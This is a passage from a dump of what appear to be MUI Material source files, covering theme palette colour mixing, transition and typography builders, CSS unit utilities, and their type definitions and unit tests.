setColor(\n        palette.Slider,\n        'primaryTrack',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-primary-main') : palette.primary.main,\n          0.5,\n        ),\n      );\n      setColor(\n        palette.Slider,\n        'secondaryTrack',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-secondary-main') : palette.secondary.main,\n          0.5,\n        ),\n      );\n      setColor(\n        palette.Slider,\n        'errorTrack',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-error-main') : palette.error.main,\n          0.5,\n        ),\n      );\n      setColor(\n        palette.Slider,\n        'infoTrack',\n        colorMix(safeDarken, nativeColor ? getCssVar('palette-info-main') : palette.info.main, 0.5),\n      );\n      setColor(\n        palette.Slider,\n        'successTrack',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-success-main') : palette.success.main,\n          0.5,\n        ),\n      );\n      setColor(\n        palette.Slider,\n        'warningTrack',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-warning-light') : palette.warning.main,\n          0.5,\n        ),\n      );\n      const snackbarContentBackground = colorSpace\n        ? colorMix(\n            safeLighten,\n            nativeColor ? getCssVar('palette-background-default') : palette.background.default,\n            0.985,\n          ) // use `0.985` instead of `0.98` to match the contrast ratio of JS implementation\n        : safeEmphasize(palette.background.default, 0.98);\n      setColor(palette.SnackbarContent, 'bg', snackbarContentBackground);\n      setColor(\n        palette.SnackbarContent,\n        'color',\n        silent(() =>\n          colorSpace ? light.text.primary : palette.getContrastText(snackbarContentBackground),\n        ),\n      );\n      setColor(\n        palette.SpeedDialAction,\n        'fabHoverBg',\n        safeEmphasize(palette.background.paper, 0.15),\n      );\n      setColor(palette.StepConnector, 'border', setCssVarColor('palette-grey-600'));\n      setColor(palette.StepContent, 'border', setCssVarColor('palette-grey-600'));\n      setColor(palette.Switch, 'defaultColor', setCssVarColor('palette-grey-300'));\n      setColor(palette.Switch, 'defaultDisabledColor', setCssVarColor('palette-grey-600'));\n      setColor(\n        palette.Switch,\n        'primaryDisabledColor',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-primary-main') : palette.primary.main,\n          0.55,\n        ),\n      );\n      setColor(\n        palette.Switch,\n        'secondaryDisabledColor',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-secondary-main') : palette.secondary.main,\n          0.55,\n        ),\n      );\n      setColor(\n        palette.Switch,\n        'errorDisabledColor',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-error-main') : palette.error.main,\n          0.55,\n        ),\n      );\n      setColor(\n        palette.Switch,\n        'infoDisabledColor',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-info-main') : palette.info.main,\n          0.55,\n        ),\n      );\n      setColor(\n        palette.Switch,\n        'successDisabledColor',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-success-main') : palette.success.main,\n          0.55,\n        ),\n      );\n      setColor(\n        palette.Switch,\n        'warningDisabledColor',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-warning-light') : palette.warning.main,\n          0.55,\n        ),\n      );\n      setColor(\n        palette.TableCell,\n        'border',\n        colorMix(\n          safeDarken,\n          safeAlpha(nativeColor ? getCssVar('palette-divider') : palette.divider, 1),\n          0.68,\n        ),\n      );\n      setColor(\n        palette.Tooltip,\n        'bg',\n        colorMix(safeAlpha, nativeColor ? getCssVar('palette-grey-700') : palette.grey[700], 0.92),\n      );\n    }\n\n    if (!nativeColor) {\n      setColorChannel(palette.background, 'default');\n\n      // added for consistency with the `background.default` token\n      setColorChannel(palette.background, 'paper');\n\n      setColorChannel(palette.common, 'background');\n      setColorChannel(palette.common, 'onBackground');\n\n      setColorChannel(palette, 'divider');\n    }\n\n    Object.keys(palette).forEach((color) => {\n      const colors = palette[color];\n\n      // The default palettes (primary, secondary, error, info, success, and warning) errors are handled by the above `createTheme(...)`.\n\n      if (color !== 'tonalOffset' && !nativeColor && colors && typeof colors === 'object') {\n        // Silent the error for custom palettes.\n        if (colors.main) {\n          setColor(palette[color], 'mainChannel', safeColorChannel(toRgb(colors.main)));\n        }\n        if (colors.light) {\n          setColor(palette[color], 'lightChannel', safeColorChannel(toRgb(colors.light)));\n        }\n        if (colors.dark) {\n          setColor(palette[color], 'darkChannel', safeColorChannel(toRgb(colors.dark)));\n        }\n        if (colors.contrastText) {\n          setColor(\n            palette[color],\n            'contrastTextChannel',\n            safeColorChannel(toRgb(colors.contrastText)),\n          );\n        }\n\n        if (color === 'text') {\n          // Text colors: text.primary, text.secondary\n          setColorChannel(palette[color], 'primary');\n          setColorChannel(palette[color], 'secondary');\n        }\n\n        if (color === 'action') {\n          // Action colors: action.active, action.selected\n          if (colors.active) {\n            setColorChannel(palette[color], 'active');\n          }\n          if (colors.selected) {\n            setColorChannel(palette[color], 'selected');\n          }\n        }\n      }\n    });\n  });\n\n  theme = args.reduce((acc, argument) => deepmerge(acc, argument), theme);\n\n  const parserConfig = {\n    prefix: cssVarPrefix,\n    disableCssColorScheme,\n    shouldSkipGeneratingVar,\n    getSelector: defaultGetSelector(theme),\n    enableContrastVars: nativeColor,\n  };\n  const { vars, generateThemeVars, generateStyleSheets } = prepareCssVars(theme, parserConfig);\n  theme.vars = vars;\n  Object.entries(theme.colorSchemes[theme.defaultColorScheme]).forEach(([key, value]) => {\n    theme[key] = value;\n  });\n  theme.generateThemeVars = generateThemeVars;\n  theme.generateStyleSheets = generateStyleSheets;\n  theme.generateSpacing = function generateSpacing() {\n    return createSpacing(input.spacing, createUnarySpacing(this));\n  };\n  theme.getColorSchemeSelector = createGetColorSchemeSelector(selector);\n  theme.spacing = theme.generateSpacing();\n  theme.shouldSkipGeneratingVar = shouldSkipGeneratingVar;\n  theme.unstable_sxConfig = {\n    ...defaultSxConfig,\n    ...input?.unstable_sxConfig,\n  };\n  theme.unstable_sx = function sx(props) {\n    return styleFunctionSx({\n      sx: props,\n      theme: this,\n    });\n  };\n  theme.internal_cache = {};\n  theme.toRuntimeSource = stringifyTheme; // for Pigment CSS integration\n\n  return theme;\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/createTransitions.d.ts",
    "content": "export interface Easing {\n  easeInOut: string;\n  easeOut: string;\n  easeIn: string;\n  sharp: string;\n}\nexport const easing: Easing;\n\nexport interface Duration {\n  shortest: number;\n  shorter: number;\n  short: number;\n  standard: number;\n  complex: number;\n  enteringScreen: number;\n  leavingScreen: number;\n}\nexport const duration: Duration;\n\nexport interface TransitionsOptions {\n  easing?: Partial<Easing> | undefined;\n  duration?: Partial<Duration> | undefined;\n  create?:\n    | ((\n        props: string | string[],\n        options?: Partial<{ duration: number | string; easing: string; delay: number | string }>,\n      ) => string)\n    | undefined;\n  getAutoHeightDuration?: ((height: number) => number) | undefined;\n}\n\n/**\n * @internal\n * @param props\n * @param options\n */\nexport function create(\n  props: string | string[],\n  options?: Partial<{ duration: number | string; easing: string; delay: number | string }>,\n): string;\n\n/**\n * @internal\n * @param height\n */\nexport function getAutoHeightDuration(height: number): number;\n\nexport interface Transitions {\n  easing: Easing;\n  duration: Duration;\n  create: typeof create;\n  getAutoHeightDuration: typeof getAutoHeightDuration;\n}\n\nexport default function createTransitions(inputTransitions: TransitionsOptions): Transitions;\n"
  },
  {
    "path": "packages/mui-material/src/styles/createTransitions.js",
    "content": "// Follow https://material.google.com/motion/duration-easing.html#duration-easing-natural-easing-curves\n// to learn the context in which each easing should be used.\nexport const easing = {\n  // This is the most common easing curve.\n  easeInOut: 'cubic-bezier(0.4, 0, 0.2, 1)',\n  // Objects enter the screen at full velocity from off-screen and\n  // slowly decelerate to a resting point.\n  easeOut: 'cubic-bezier(0.0, 0, 0.2, 1)',\n  // Objects leave the screen at full velocity. They do not decelerate when off-screen.\n  easeIn: 'cubic-bezier(0.4, 0, 1, 1)',\n  // The sharp curve is used by objects that may return to the screen at any time.\n  sharp: 'cubic-bezier(0.4, 0, 0.6, 1)',\n};\n\n// Follow https://m2.material.io/guidelines/motion/duration-easing.html#duration-easing-common-durations\n// to learn when use what timing\nexport const duration = {\n  shortest: 150,\n  shorter: 200,\n  short: 250,\n  // most basic recommended timing\n  standard: 300,\n  // this is to be used in complex animations\n  complex: 375,\n  // recommended when something is entering screen\n  enteringScreen: 225,\n  // recommended when something is leaving screen\n  leavingScreen: 195,\n};\n\nfunction formatMs(milliseconds) {\n  return `${Math.round(milliseconds)}ms`;\n}\n\nfunction getAutoHeightDuration(height) {\n  if (!height) {\n    return 0;\n  }\n\n  const constant = height / 36;\n\n  // https://www.desmos.com/calculator/vbrp3ggqet\n  return Math.min(Math.round((4 + 15 * constant ** 0.25 + constant / 5) * 10), 3000);\n}\n\nexport default function createTransitions(inputTransitions) {\n  const mergedEasing = {\n    ...easing,\n    ...inputTransitions.easing,\n  };\n\n  const mergedDuration = {\n    ...duration,\n    ...inputTransitions.duration,\n  };\n\n  const create = (props = ['all'], options = {}) => {\n    const {\n      duration: durationOption = mergedDuration.standard,\n      easing: easingOption = mergedEasing.easeInOut,\n      delay = 0,\n      ...other\n    } = options;\n\n    if (process.env.NODE_ENV !== 'production') {\n      const isString = (value) => typeof value === 'string';\n      const isNumber = (value) => !Number.isNaN(parseFloat(value));\n      if (!isString(props) && !Array.isArray(props)) {\n        console.error('MUI: Argument \"props\" must be a string or Array.');\n      }\n\n      if (!isNumber(durationOption) && !isString(durationOption)) {\n        console.error(\n          `MUI: Argument \"duration\" must be a number or a string but found ${durationOption}.`,\n        );\n      }\n\n      if (!isString(easingOption)) {\n        console.error('MUI: Argument \"easing\" must be a string.');\n      }\n\n      if (!isNumber(delay) && !isString(delay)) {\n        console.error('MUI: Argument \"delay\" must be a number or a string.');\n      }\n\n      if (typeof options !== 'object') {\n        console.error(\n          [\n            'MUI: Secong argument of transition.create must be an object.',\n            \"Arguments should be either `create('prop1', options)` or `create(['prop1', 'prop2'], options)`\",\n          ].join('\\n'),\n        );\n      }\n\n      if (Object.keys(other).length !== 0) {\n        console.error(`MUI: Unrecognized argument(s) [${Object.keys(other).join(',')}].`);\n      }\n    }\n\n    return (Array.isArray(props) ? props : [props])\n      .map(\n        (animatedProp) =>\n          `${animatedProp} ${\n            typeof durationOption === 'string' ? durationOption : formatMs(durationOption)\n          } ${easingOption} ${typeof delay === 'string' ? delay : formatMs(delay)}`,\n      )\n      .join(',');\n  };\n\n  return {\n    getAutoHeightDuration,\n    create,\n    ...inputTransitions,\n    easing: mergedEasing,\n    duration: mergedDuration,\n  };\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/createTransitions.test.js",
    "content": "import { expect } from 'chai';\nimport { createTheme } from '@mui/material/styles';\nimport createTransitions, { easing, duration } from './createTransitions';\n\ndescribe('createTransitions', () => {\n  const transitions = createTransitions({});\n  const create = transitions.create;\n  const getAutoHeightDuration = transitions.getAutoHeightDuration;\n\n  it('should allow to customize the default duration', () => {\n    const theme = createTheme({\n      transitions: {\n        duration: {\n          standard: 432,\n        },\n      },\n    });\n    expect(theme.transitions.create('color')).to.equal(`color 432ms ${easing.easeInOut} 0ms`);\n  });\n\n  describe('create() function', () => {\n    describe('warnings', () => {\n      it('should warn when first argument is of bad type', () => {\n        expect(() => create(5554)).toErrorDev('MUI: Argument \"props\" must be a string or Array');\n        expect(() => create({})).toErrorDev('MUI: Argument \"props\" must be a string or Array');\n      });\n\n      it('should warn when bad \"duration\" option type', () => {\n        expect(() => create('font', { duration: null })).toErrorDev(\n          'MUI: Argument \"duration\" must be a number or a string but found null',\n        );\n        expect(() => create('font', { duration: {} })).toErrorDev(\n          'MUI: Argument \"duration\" must be a number or a string but found [object Object]',\n        );\n      });\n\n      it('should warn when bad \"easing\" option type', () => {\n        expect(() => create('transform', { easing: 123 })).toErrorDev(\n          'MUI: Argument \"easing\" must be a string',\n        );\n        expect(() => create('transform', { easing: {} })).toErrorDev(\n          'MUI: Argument \"easing\" must be a string',\n        );\n      });\n\n      it('should warn when bad \"delay\" option type', () => {\n        expect(() => create('size', { delay: null })).toErrorDev(\n          'MUI: Argument \"delay\" must be a number or a string',\n        );\n        expect(() => create('size', { delay: {} })).toErrorDev(\n          'MUI: Argument \"delay\" must be a number or a string',\n        );\n      });\n\n      it('should warn when passed unrecognized option', () => {\n        expect(() => create('size', { fffds: 'value' })).toErrorDev(\n          'MUI: Unrecognized argument(s) [fffds]',\n        );\n      });\n    });\n\n    it('should create default transition without arguments', () => {\n      const transition = create();\n      expect(transition).to.equal(`all ${duration.standard}ms ${easing.easeInOut} 0ms`);\n    });\n\n    it('should take string props as a first argument', () => {\n      const transition = create('color');\n      expect(transition).to.equal(`color ${duration.standard}ms ${easing.easeInOut} 0ms`);\n    });\n\n    it('should also take array of props as first argument', () => {\n      const options = { delay: 20 };\n      const multiple = create(['color', 'size'], options);\n      const single1 = create('color', options);\n      const single2 = create('size', options);\n      const expected = `${single1},${single2}`;\n      expect(multiple).to.equal(expected);\n    });\n\n    it('should optionally accept number \"duration\" option in second argument', () => {\n      const transition = create('font', { duration: 500 });\n      expect(transition).to.equal(`font 500ms ${easing.easeInOut} 0ms`);\n    });\n\n    it('should optionally accept string \"duration\" option in second argument', () => {\n      const transition = create('font', { duration: '500ms' });\n      expect(transition).to.equal(`font 500ms ${easing.easeInOut} 0ms`);\n    });\n\n    it('should round decimal digits of \"duration\" prop to whole numbers', () => {\n      const transition = create('font', { duration: 12.125 });\n      expect(transition).to.equal(`font 12ms ${easing.easeInOut} 0ms`);\n    });\n\n    it('should optionally accept string \"easing\" option in second argument', () => {\n      const transition = create('transform', { easing: easing.sharp });\n      expect(transition).to.equal(`transform ${duration.standard}ms ${easing.sharp} 0ms`);\n    });\n\n    it('should optionally accept number \"delay\" option in second argument', () => {\n      const transition = create('size', { delay: 150 });\n      expect(transition).to.equal(`size ${duration.standard}ms ${easing.easeInOut} 150ms`);\n    });\n\n    it('should optionally accept string \"delay\" option in second argument', () => {\n      const transition = create('size', { delay: '150ms' });\n      expect(transition).to.equal(`size ${duration.standard}ms ${easing.easeInOut} 150ms`);\n    });\n\n    it('should round decimal digits of \"delay\" prop to whole numbers', () => {\n      const transition = create('size', { delay: 1.547 });\n      expect(transition).to.equal(`size ${duration.standard}ms ${easing.easeInOut} 2ms`);\n    });\n\n    it('should return zero when not passed arguments', () => {\n      const zeroHeightDuration = getAutoHeightDuration();\n      expect(zeroHeightDuration).to.equal(0);\n    });\n\n    it('should return zero when passed undefined', () => {\n      const zeroHeightDuration = getAutoHeightDuration(undefined);\n      expect(zeroHeightDuration).to.equal(0);\n    });\n\n    it('should return zero when passed null', () => {\n      const zeroHeightDuration = getAutoHeightDuration(null);\n      expect(zeroHeightDuration).to.equal(0);\n    });\n\n    it('should return NaN when passed a negative number', () => {\n      const zeroHeightDurationNegativeOne = getAutoHeightDuration(-1);\n      expect(Number.isNaN(zeroHeightDurationNegativeOne)).to.equal(true);\n      const zeroHeightDurationSmallNegative = getAutoHeightDuration(-0.000001);\n      expect(Number.isNaN(zeroHeightDurationSmallNegative)).to.equal(true);\n      const zeroHeightDurationBigNegative = getAutoHeightDuration(-100000);\n      expect(Number.isNaN(zeroHeightDurationBigNegative)).to.equal(true);\n    });\n\n    it('should return values for pre-calculated positive examples', () => {\n      let zeroHeightDuration = getAutoHeightDuration(14);\n      expect(zeroHeightDuration).to.equal(159);\n      zeroHeightDuration = getAutoHeightDuration(100);\n      expect(zeroHeightDuration).to.equal(239);\n      zeroHeightDuration = getAutoHeightDuration(0.0001);\n      expect(zeroHeightDuration).to.equal(46);\n      zeroHeightDuration = getAutoHeightDuration(100000);\n      expect(zeroHeightDuration).to.equal(3000);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/styles/createTypography.d.ts",
    "content": "import * as React from 'react';\nimport { CSSProperties } from './createMixins';\nimport { Palette } from './createPalette';\n\nexport type TypographyVariant =\n  | 'h1'\n  | 'h2'\n  | 'h3'\n  | 'h4'\n  | 'h5'\n  | 'h6'\n  | 'subtitle1'\n  | 'subtitle2'\n  | 'body1'\n  | 'body2'\n  | 'caption'\n  | 'button'\n  | 'overline';\n\nexport interface FontStyle {\n  fontFamily: React.CSSProperties['fontFamily'];\n  fontSize: number;\n  fontWeightLight: React.CSSProperties['fontWeight'];\n  fontWeightRegular: React.CSSProperties['fontWeight'];\n  fontWeightMedium: React.CSSProperties['fontWeight'];\n  fontWeightBold: React.CSSProperties['fontWeight'];\n  htmlFontSize: number;\n}\n\nexport interface FontStyleOptions extends Partial<FontStyle> {\n  allVariants?: React.CSSProperties | undefined;\n}\n\n// TODO: which one should actually be allowed to be subject to module augmentation?\n// current type vs interface decision is kept for historical reasons until we\n// made a decision\nexport type TypographyStyle = CSSProperties;\nexport interface TypographyStyleOptions extends TypographyStyle {}\n\nexport interface TypographyUtils {\n  pxToRem: (px: number) => string;\n}\n\nexport interface TypographyVariants\n  extends Record<TypographyVariant, TypographyStyle>, FontStyle, TypographyUtils {}\n\nexport interface TypographyVariantsOptions extends Partial<\n  Record<TypographyVariant, TypographyStyleOptions> & FontStyleOptions\n> {}\n\nexport default function createTypography(\n  palette: Palette,\n  typography: TypographyVariantsOptions | ((palette: Palette) => TypographyVariantsOptions),\n): TypographyVariants;\n"
  },
  {
    "path": "packages/mui-material/src/styles/createTypography.js",
    "content": "import deepmerge from '@mui/utils/deepmerge';\n\nfunction round(value) {\n  return Math.round(value * 1e5) / 1e5;\n}\n\nconst caseAllCaps = {\n  textTransform: 'uppercase',\n};\nconst defaultFontFamily = '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif';\n\n/**\n * @see @link{https://m2.material.io/design/typography/the-type-system.html}\n * @see @link{https://m2.material.io/design/typography/understanding-typography.html}\n */\nexport default function createTypography(palette, typography) {\n  const {\n    fontFamily = defaultFontFamily,\n    // The default font size of the Material Specification.\n    fontSize = 14, // px\n    fontWeightLight = 300,\n    fontWeightRegular = 400,\n    fontWeightMedium = 500,\n    fontWeightBold = 700,\n    // Tell MUI what's the font-size on the html element.\n    // 16px is the default font-size used by browsers.\n    htmlFontSize = 16,\n    // Apply the CSS properties to all the variants.\n    allVariants,\n    pxToRem: pxToRem2,\n    ...other\n  } = typeof typography === 'function' ? typography(palette) : typography;\n\n  if (process.env.NODE_ENV !== 'production') {\n    if (typeof fontSize !== 'number') {\n      console.error('MUI: `fontSize` is required to be a number.');\n    }\n\n    if (typeof htmlFontSize !== 'number') {\n      console.error('MUI: `htmlFontSize` is required to be a number.');\n    }\n  }\n\n  const coef = fontSize / 14;\n  const pxToRem = pxToRem2 || ((size) => `${(size / htmlFontSize) * coef}rem`);\n  const buildVariant = (fontWeight, size, lineHeight, letterSpacing, casing) => ({\n    fontFamily,\n    fontWeight,\n    fontSize: pxToRem(size),\n    // Unitless following https://meyerweb.com/eric/thoughts/2006/02/08/unitless-line-heights/\n    lineHeight,\n    // The letter spacing was designed for the Roboto font-family. Using the same letter-spacing\n    // across font-families can cause issues with the kerning.\n    ...(fontFamily === defaultFontFamily\n      ? { letterSpacing: `${round(letterSpacing / size)}em` }\n      : {}),\n    ...casing,\n    ...allVariants,\n  });\n\n  const variants = {\n    h1: buildVariant(fontWeightLight, 96, 1.167, -1.5),\n    h2: buildVariant(fontWeightLight, 60, 1.2, -0.5),\n    h3: buildVariant(fontWeightRegular, 48, 1.167, 0),\n    h4: buildVariant(fontWeightRegular, 34, 1.235, 0.25),\n    h5: buildVariant(fontWeightRegular, 24, 1.334, 0),\n    h6: buildVariant(fontWeightMedium, 20, 1.6, 0.15),\n    subtitle1: buildVariant(fontWeightRegular, 16, 1.75, 0.15),\n    subtitle2: buildVariant(fontWeightMedium, 14, 1.57, 0.1),\n    body1: buildVariant(fontWeightRegular, 16, 1.5, 0.15),\n    body2: buildVariant(fontWeightRegular, 14, 1.43, 0.15),\n    button: buildVariant(fontWeightMedium, 14, 1.75, 0.4, caseAllCaps),\n    caption: buildVariant(fontWeightRegular, 12, 1.66, 0.4),\n    overline: buildVariant(fontWeightRegular, 12, 2.66, 1, caseAllCaps),\n    // TODO v6: Remove handling of 'inherit' variant from the theme as it is already handled in Material UI's Typography component. Also, remember to remove the associated types.\n    inherit: {\n      fontFamily: 'inherit',\n      fontWeight: 'inherit',\n      fontSize: 'inherit',\n      lineHeight: 'inherit',\n      letterSpacing: 'inherit',\n    },\n  };\n\n  return deepmerge(\n    {\n      htmlFontSize,\n      pxToRem,\n      fontFamily,\n      fontSize,\n      fontWeightLight,\n      fontWeightRegular,\n      fontWeightMedium,\n      fontWeightBold,\n      ...variants,\n    },\n    other,\n    {\n      clone: false, // No need to clone deep\n    },\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/createTypography.spec.ts",
    "content": "import { expectType } from '@mui/types';\nimport { styled, createTheme } from '@mui/material/styles';\n\n{\n  // properties of the variants can be \"unset\"\n  const theme = createTheme({\n    typography: {\n      allVariants: {\n        fontStyle: undefined,\n      },\n    },\n  });\n\n  const maybeFontStyle = theme.typography.body1.fontStyle;\n  expectType<\n    | '-moz-initial'\n    | 'inherit'\n    | 'initial'\n    | 'revert'\n    | 'revert-layer'\n    | 'unset'\n    | 'italic'\n    | 'normal'\n    | 'oblique'\n    | (string & {})\n    | undefined,\n    typeof maybeFontStyle\n  >(maybeFontStyle);\n}\n\n{\n  const StyledComponents = styled('span')(({ theme }) => ({\n    ...theme.typography.body1,\n  }));\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/createTypography.test.js",
    "content": "import { expect } from 'chai';\nimport createPalette from './createPalette';\nimport createTypography from './createTypography';\n\ndescribe('createTypography', () => {\n  let palette;\n\n  beforeAll(() => {\n    palette = createPalette({});\n  });\n\n  it('should create a material design typography according to spec', () => {\n    const typography = createTypography(palette, {});\n    expect(typography.fontSize).to.equal(14);\n  });\n\n  it('should create a typography with custom fontSize', () => {\n    const typography = createTypography(palette, { fontSize: 15 });\n    expect(typography.fontSize).to.equal(15);\n  });\n\n  it('should accept a function', () => {\n    const typography = createTypography(palette, (paletteCurrent) => {\n      expect(palette).to.equal(paletteCurrent);\n\n      return { fontSize: 15 };\n    });\n    expect(typography.fontSize).to.equal(15);\n  });\n\n  it('should accept a custom font size', () => {\n    const typography = createTypography(palette, { fontSize: 16 });\n    expect(typography.body2.fontSize).to.equal('1rem');\n  });\n\n  it('should create a typography with a custom baseFontSize', () => {\n    const typography = createTypography(palette, { htmlFontSize: 10 });\n    expect(typography.h2.fontSize).to.equal('6rem');\n  });\n\n  it('should create a typography with custom h1', () => {\n    const customFontSize = '18px';\n    const typography = createTypography(palette, { h1: { fontSize: customFontSize } });\n    expect(typography.h1.fontSize).to.equal(customFontSize);\n  });\n\n  it('should apply a CSS property to all the variants', () => {\n    const typography = createTypography(palette, { allVariants: { marginLeft: 0 } });\n    const allVariants = [\n      'h1',\n      'h2',\n      'h3',\n      'h4',\n      'h5',\n      'h6',\n      'subtitle1',\n      'subtitle2',\n      'body1',\n      'body2',\n      'button',\n      'caption',\n      'overline',\n    ];\n\n    allVariants.forEach((variant) => {\n      expect(typography[variant].marginLeft).to.equal(0);\n    });\n  });\n\n  it('only defines letter-spacing if the font-family is not overwritten', () => {\n    expect(createTypography(palette, {}).h1.letterSpacing).not.to.equal(undefined);\n    expect(createTypography(palette, { fontFamily: 'Gotham' }).h1.letterSpacing).to.equal(\n      undefined,\n    );\n  });\n\n  // TODO v6: remove, see https://github.com/mui/material-ui/pull/38123\n  it('should apply font CSS properties to inherit variant', () => {\n    const typography = createTypography(palette, {});\n    const fontProperties = ['fontFamily', 'fontWeight', 'fontSize', 'lineHeight', 'letterSpacing'];\n\n    fontProperties.forEach((prop) => {\n      expect(typography.inherit[prop]).to.equal('inherit');\n    });\n  });\n\n  describe('warnings', () => {\n    it('logs an error if `fontSize` is not of type number', () => {\n      expect(() => {\n        createTypography({}, { fontSize: '1' });\n      }).toErrorDev('MUI: `fontSize` is required to be a number.');\n    });\n\n    it('logs an error if `htmlFontSize` is not of type number', () => {\n      expect(() => {\n        createTypography({}, { htmlFontSize: '1' });\n      }).toErrorDev('MUI: `htmlFontSize` is required to be a number.');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/styles/cssUtils.d.ts",
    "content": "import { CSSProperties } from './createMixins';\n\nexport function isUnitless(value: string): boolean;\n\nexport function getUnit(input: string): string;\n\nexport function toUnitless(value: string): number;\n\nexport function convertLength(baseFontSize: string): (length: string, toUnit: string) => string;\n\nexport interface AlignPropertyParams {\n  size: number;\n  grid: number;\n}\nexport function alignProperty(params: AlignPropertyParams): number;\n\nexport interface FontGridParams {\n  lineHeight: number;\n  pixels: number;\n  htmlFontSize: number;\n}\nexport function fontGrid(params: FontGridParams): number;\n\nexport interface ResponsivePropertyParams {\n  cssProperty: string;\n  min: number;\n  max: number;\n  unit?: string | undefined;\n  breakpoints?: number[] | undefined;\n  transform?: ((value: number) => number) | undefined;\n}\nexport function responsiveProperty(params: ResponsivePropertyParams): CSSProperties;\n"
  },
  {
    "path": "packages/mui-material/src/styles/cssUtils.js",
    "content": "export function isUnitless(value) {\n  return String(parseFloat(value)).length === String(value).length;\n}\n\n// Ported from Compass\n// https://github.com/Compass/compass/blob/master/core/stylesheets/compass/typography/_units.scss\n// Emulate the sass function \"unit\"\nexport function getUnit(input) {\n  return String(input).match(/[\\d.\\-+]*\\s*(.*)/)[1] || '';\n}\n\n// Emulate the sass function \"unitless\"\nexport function toUnitless(length) {\n  return parseFloat(length);\n}\n\n// Convert any CSS <length> or <percentage> value to any another.\n// From https://github.com/KyleAMathews/convert-css-length\nexport function convertLength(baseFontSize) {\n  return (length, toUnit) => {\n    const fromUnit = getUnit(length);\n\n    // Optimize for cases where `from` and `to` units are accidentally the same.\n    if (fromUnit === toUnit) {\n      return length;\n    }\n\n    // Convert input length to pixels.\n    let pxLength = toUnitless(length);\n\n    if (fromUnit !== 'px') {\n      if (fromUnit === 'em') {\n        pxLength = toUnitless(length) * toUnitless(baseFontSize);\n      } else if (fromUnit === 'rem') {\n        pxLength = toUnitless(length) * toUnitless(baseFontSize);\n      }\n    }\n\n    // Convert length in pixels to the output unit\n    let outputLength = pxLength;\n    if (toUnit !== 'px') {\n      if (toUnit === 'em') {\n        outputLength = pxLength / toUnitless(baseFontSize);\n      } else if (toUnit === 'rem') {\n        outputLength = pxLength / toUnitless(baseFontSize);\n      } else {\n        return length;\n      }\n    }\n\n    return parseFloat(outputLength.toFixed(5)) + toUnit;\n  };\n}\n\nexport function alignProperty({ size, grid }) {\n  const sizeBelow = size - (size % grid);\n  const sizeAbove = sizeBelow + grid;\n\n  return size - sizeBelow < sizeAbove - size ? sizeBelow : sizeAbove;\n}\n\n// fontGrid finds a minimal grid (in rem) for the fontSize values so that the\n// lineHeight falls under a x pixels grid, 4px in the case of Material Design,\n// without changing the relative line height\nexport function fontGrid({ lineHeight, pixels, htmlFontSize }) {\n  return pixels / (lineHeight * htmlFontSize);\n}\n\n/**\n * generate a responsive version of a given CSS property\n * @example\n * responsiveProperty({\n *   cssProperty: 'fontSize',\n *   min: 15,\n *   max: 20,\n *   unit: 'px',\n *   breakpoints: [300, 600],\n * })\n *\n * // this returns\n *\n * {\n *   fontSize: '15px',\n *   '@media (min-width:300px)': {\n *     fontSize: '17.5px',\n *   },\n *   '@media (min-width:600px)': {\n *     fontSize: '20px',\n *   },\n * }\n * @param {Object} params\n * @param {string} params.cssProperty - The CSS property to be made responsive\n * @param {number} params.min - The smallest value of the CSS property\n * @param {number} params.max - The largest value of the CSS property\n * @param {string} [params.unit] - The unit to be used for the CSS property\n * @param {Array.number} [params.breakpoints]  - An array of breakpoints\n * @param {number} [params.alignStep] - Round scaled value to fall under this grid\n * @returns {Object} responsive styles for {params.cssProperty}\n */\nexport function responsiveProperty({\n  cssProperty,\n  min,\n  max,\n  unit = 'rem',\n  breakpoints = [600, 900, 1200],\n  transform = null,\n}) {\n  const output = {\n    [cssProperty]: `${min}${unit}`,\n  };\n\n  const factor = (max - min) / breakpoints[breakpoints.length - 1];\n  breakpoints.forEach((breakpoint) => {\n    let value = min + factor * breakpoint;\n\n    if (transform !== null) {\n      value = transform(value);\n    }\n\n    output[`@media (min-width:${breakpoint}px)`] = {\n      [cssProperty]: `${Math.round(value * 10000) / 10000}${unit}`,\n    };\n  });\n\n  return output;\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/cssUtils.test.js",
    "content": "import { expect } from 'chai';\nimport {\n  isUnitless,\n  getUnit,\n  toUnitless,\n  convertLength,\n  alignProperty,\n  fontGrid,\n  responsiveProperty,\n} from './cssUtils';\n\ndescribe('cssUtils', () => {\n  describe('isUnitless', () => {\n    it('should work as expected', () => {\n      expect(isUnitless('20px')).to.equal(false);\n      expect(isUnitless('2.5 px')).to.equal(false);\n      expect(isUnitless('2.5 %')).to.equal(false);\n      expect(isUnitless('-2.5')).to.equal(true);\n    });\n  });\n\n  describe('getUnit', () => {\n    it('should work as expected', () => {\n      expect(getUnit('20px')).to.equal('px');\n      expect(getUnit('2.5 px')).to.equal('px');\n      expect(getUnit('2.5 %')).to.equal('%');\n      expect(getUnit('-2.5')).to.equal('');\n    });\n  });\n\n  describe('toUnitless', () => {\n    it('should work as expected', () => {\n      expect(toUnitless('20px')).to.equal(20);\n      expect(toUnitless('2.5 px')).to.equal(2.5);\n      expect(toUnitless('2.5 %')).to.equal(2.5);\n      expect(toUnitless('-2.5')).to.equal(-2.5);\n    });\n  });\n\n  describe('convertLength', () => {\n    it('should work as expected', () => {\n      const convert = convertLength('16px');\n      expect(convert('32px', 'rem')).to.equal('2rem');\n      expect(convert('2rem', 'px')).to.equal('32px');\n    });\n  });\n\n  describe('alignProperty', () => {\n    const tests = [\n      { args: { size: 8, grid: 4 }, 